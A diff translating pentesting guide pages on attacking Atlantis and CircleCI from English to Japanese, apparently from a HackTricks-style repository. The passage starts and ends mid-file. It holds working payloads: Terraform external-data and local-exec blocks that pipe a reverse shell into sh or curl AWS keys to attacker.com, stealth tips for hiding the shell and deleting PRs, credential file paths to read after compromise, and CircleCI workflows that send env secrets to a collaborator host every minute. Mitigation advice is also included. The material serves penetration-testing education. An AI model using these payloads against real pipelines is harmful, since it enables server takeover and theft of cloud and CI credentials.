+> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルでワークフローを**指定**できます。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\
+> これは基本的に、**そのリポジトリにアクセスできるユーザーにAtlantisサーバーでのRCEを与える**ことになります。
>
> ```yaml
> # atlantis.yaml
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Conftestポリシーチェック**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.dev/)**ポリシー**をプラン出力に対して実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- モジュールのリストの使用を拒否する
+- リソースの作成時に属性を主張する
+- 意図しないリソース削除をキャッチする
+- セキュリティリスクを防ぐ(例:安全なポートを公開すること)
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+[**ドキュメント**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)で設定方法を確認できます。
-### Atlantis Commands
-
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
+### Atlantisコマンド
+[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)では、Atlantisを実行するために使用できるオプションを見つけることができます:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
-### Attacks
+### 攻撃
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> もし攻撃中にこの**エラー**が表示された場合: `Error: Error acquiring the state lock`
+次のコマンドを実行することで修正できます:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis plan RCE - 新しいPRでの設定変更
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**(または自動的に実行されるかもしれません)、**Atlantisサーバー内でRCEを実行できるようになります**。
+これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実行できます。次のようなペイロードを`main.tf`ファイルに入れるだけです:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**ステルス攻撃**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+この攻撃を**よりステルス的に**実行するには、以下の提案に従ってください:
+- rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のようにします。
+- **PRをmasterに作成する代わりに**、**2つのブランチ**(test1とtest2)を作成し、**一方からもう一方へのPRを作成します**。攻撃が完了したら、**PRとブランチを削除します**。
#### Atlantis plan Secrets Dump
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
-
+`atlantis plan`(`terraform plan`)を実行することで、**terraformによって使用されるシークレットをダンプ**できます。terraformファイルに次のようなものを入れます:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+#### Atlantis apply RCE - 新しいPRでの設定変更
-#### Atlantis apply RCE - Config modification in new PR
+リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEを実行できるようになります**。
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+ただし、通常はいくつかの保護を回避する必要があります:
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**(これはブランチ保護を回避する必要があることを意味します)。
+- 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。
+- **承認済み**: この保護がAtlantisに設定されている場合、`atlantis apply`を実行する前に**他のユーザーがPRを承認する必要があります**。
+- デフォルトでは、[**Gitbotトークンを悪用してこの保護を回避できます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。
+悪意のあるTerraformファイルで**`terraform apply`を実行すること**は、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使用します。**\
+`main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+**前の技術からの提案**に従って、この攻撃を**より隠密な方法**で実行します。
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Terraform パラメータインジェクション
+`atlantis plan` または `atlantis apply` を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+何かを渡すことができるのは、いくつかの保護を回避するのに役立つ可能性のあるenv変数です。terraform env varsを確認してください [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### カスタムワークフロー
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+`atlantis.yaml`ファイルに指定された**悪意のあるカスタムビルドコマンド**を実行します。Atlantisはプルリクエストブランチの`atlantis.yaml`ファイルを使用し、**master**のものではありません。\
+この可能性は前のセクションで言及されました:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルに**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### plan/apply保護の回避
+[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリは**plan/apply保護を変更して回避する**ことが可能です。
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+もし誰かがあなたの有効なプルリクエストに**`atlantis plan/apply`**というコメントを送信すると、望まないタイミングでterraformが実行されます。
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+さらに、**新しいコミットがプッシュされたときに**すべてのPRを**再評価**するように**ブランチ保護**が設定されていない場合、誰かがterraform設定に**悪意のある設定**を書き込み(前のシナリオを確認)、`atlantis plan/apply`を実行してRCEを得ることができます。
-This is the **setting** in Github branch protections:
+これがGithubブランチ保護の**設定**です:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+もしあなたが使用されている**webhook secret**を**盗むことができた**場合、または**webhook secret**が使用されていない場合、あなたは**Atlantis webhook**を呼び出し、**atlantisコマンド**を直接実行することができます。
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloudは**webhook secrets**を**サポートしていません**。これにより攻撃者が**Bitbucketからのリクエストを偽装**することが可能になります。BitbucketのIPのみを許可していることを確認してください。
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- これは、**攻撃者**が**Bitbucketから来ているように見える偽のリクエストをAtlantisに送信**できることを意味します。
+- `--repo-allowlist`を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでのplan/applyになります。
+- これを防ぐために、[BitbucketのIPアドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください(Outbound IPv4 addressesを参照)。
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+もしサーバーにアクセスできた場合、または少なくともLFIを取得した場合、読むべき興味深いものがあります:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` VCSアクセス資格情報を含む
+- `/atlantis-data/atlantis.db` より多くの情報を含むVCSアクセス資格情報
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform状態ファイル
+- 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` 環境変数
+- `/proc/[2-20]/cmdline` `atlantis server`のコマンドライン(機密データを含む可能性があります)
### Mitigations
#### Don't Use On Public Repos
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+誰でも公共のプルリクエストにコメントできるため、すべてのセキュリティ対策が利用可能であっても、適切なセキュリティ設定の構成なしに公共のリポジトリでAtlantisを実行することは依然として危険です。
#### Don't Use `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+公共のリポジトリで実行している場合(推奨されません、上記を参照)、`--allow-fork-prs`を設定すべきではありません(デフォルトはfalse)なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantisは、`--repo-allowlist`フラグを介してwebhookを受け入れるリポジトリの許可リストを指定する必要があります。例えば:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*`
+- GitHub Enterpriseインストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*`
+- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、webhook secretを設定しないと危険です。
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+このフラグは、あなたのAtlantisインストールがあなたが制御していないリポジトリで使用されないことを保証します。詳細については`atlantis server --help`を参照してください。
#### Protect Terraform Planning
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+攻撃者が悪意のあるTerraformコードを含むプルリクエストを送信することが脅威モデルに含まれている場合、`terraform apply`の承認だけでは不十分であることを認識する必要があります。`terraform plan`で悪意のあるコードを実行することが可能であり、[`external`データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。
-To prevent this, you could:
+これを防ぐために、次のことができます:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. プロバイダーをAtlantisイメージに組み込むか、ホストして本番環境での出口を拒否します。
+2. プロバイダー登録プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、誰がレジストリへの書き込みアクセスを持つかを制御できます。
+3. [サーバー側リポジトリ設定](https://www.runatlantis.io/docs/server-side-repo-config.html)の`plan`ステップを修正して、許可されていないプロバイダーやデータソース、許可されていないユーザーからのPRの使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan`を続行する前にPRに「いいね」を要求することです。Conftestが役立つかもしれません。
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantisは、`$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`環境変数を介してWebhook secretsを設定して実行する必要があります。`--repo-allowlist`フラグが設定されていても、webhook secretがないと、攻撃者は許可リストに載っているリポジトリを装ってAtlantisにリクエストを送信することができます。Webhook secretsは、webhookリクエストが実際にあなたのVCSプロバイダー(GitHubまたはGitLab)から来ていることを保証します。
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Azure DevOpsを使用している場合、webhook secretsの代わりに基本的なユーザー名とパスワードを追加してください。
#### Azure DevOps Basic Authentication
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOpsは、すべてのwebhookイベントで基本認証ヘッダーを送信することをサポートしています。これには、webhookの場所にHTTPS URLを使用する必要があります。
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+webhook secretsを使用しているが、トラフィックがHTTPの場合、webhook secretsが盗まれる可能性があります。`--ssl-cert-file`および`--ssl-key-file`フラグを使用してSSL/HTTPSを有効にしてください。
#### Enable Authentication on Atlantis Web Server
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+Webサービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true`を使用してBasicAuthを有効にし、`--web-username=yourUsername`および`--web-password=yourPassword`フラグを使用してユーザー名とパスワードを設定します。
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+これらを環境変数`ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername`および`ATLANTIS_WEB_PASSWORD=yourPassword`として渡すこともできます。
### References
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..1205d399f 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,259 +1,235 @@
-# CircleCI Security
+# CircleCI セキュリティ
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### 基本情報
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す **テンプレート** を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば **リポジトリのマスターブランチ** から直接 **テスト** や **デプロイ** を **自動化** できます。
-### Permissions
+### 権限
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** は、ログインする **アカウント** に関連する github および bitbucket から **権限を継承** します。\
+私のテストでは、**github のリポジトリに対する書き込み権限** があれば、**CircleCI でプロジェクト設定を管理** できることを確認しました(新しい ssh キーの設定、プロジェクト API キーの取得、新しい CircleCI 設定での新しいブランチの作成など)。
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+ただし、**CircleCI プロジェクトにリポジトリを変換** するには、**リポジトリ管理者** である必要があります。
-### Env Variables & Secrets
+### 環境変数と秘密情報
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/) によると、ワークフロー内で **環境変数に値をロードする** 方法はいくつかあります。
-#### Built-in env variables
+#### 組み込み環境変数
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+CircleCI によって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、または `CIRCLE_USERNAME` のような [**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) が常に存在します。
-#### Clear text
-
-You can declare them in clear text inside a **command**:
+#### プレーンテキスト
+**コマンド** 内でプレーンテキストとして宣言できます:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+**実行環境**内に明示的に宣言できます:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+**build-job 環境**内に明示的に宣言できます:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+**コンテナの環境**内に明示的に宣言できます:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### プロジェクトの秘密
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+これらは**秘密**であり、**プロジェクト**(**任意のブランチ**)によってのみ**アクセス可能**です。\
+これらは _https://app.circleci.com/settings/project/github/\/\/environment-variables_ に**宣言されている**のを見ることができます。
.png>)
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。
-#### Context Secrets
+#### コンテキストの秘密
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+これらは**組織全体**の秘密です。**デフォルトでは、任意のリポジトリ**がここに保存された**任意の秘密**に**アクセスできる**ようになります:
.png>)
> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> ただし、異なるグループ(すべてのメンバーの代わりに)を**選択して特定の人々にのみ秘密へのアクセスを与える**ことができます。\
+> これは現在、**秘密のセキュリティを向上させる**ための最良の方法の1つであり、すべての人がアクセスできるのではなく、一部の人だけがアクセスできるようにします。
-### Attacks
+### 攻撃
-#### Search Clear Text Secrets
+#### プレーンテキストの秘密を検索
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+**VCS**(例えばgithub)に**アクセス**できる場合、**各リポジトリの各ブランチ**の `.circleci/config.yml` ファイルをチェックし、そこに保存されている潜在的な**プレーンテキストの秘密**を**検索**します。
-#### Secret Env Vars & Context enumeration
+#### 秘密の環境変数とコンテキストの列挙
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+コードをチェックすることで、各 `.circleci/config.yml` ファイルで**使用されているすべての秘密の名前**を見つけることができます。また、これらのファイルから**コンテキスト名**を取得するか、ウェブコンソールで確認できます: _https://app.circleci.com/settings/organization/github/\/contexts_。
-#### Exfiltrate Project secrets
+#### プロジェクトの秘密を抽出
> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出する**には、**全体のgithub組織内の**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます(_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_)。
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。
+すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してbase64で難読化するだけで、**ワークフローのウェブログコンソール**に秘密を抽出できます:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合は、**毎分トリガーされるワークフローを作成**し、**外部アドレスに秘密を流出させる**ことができます:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
+#### コンテキストシークレットの抽出
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+**コンテキスト名を指定する必要があります**(これによりプロジェクトシークレットも抽出されます):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフローを修正**し、**外部アドレスに秘密を流出させる**ことができます:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
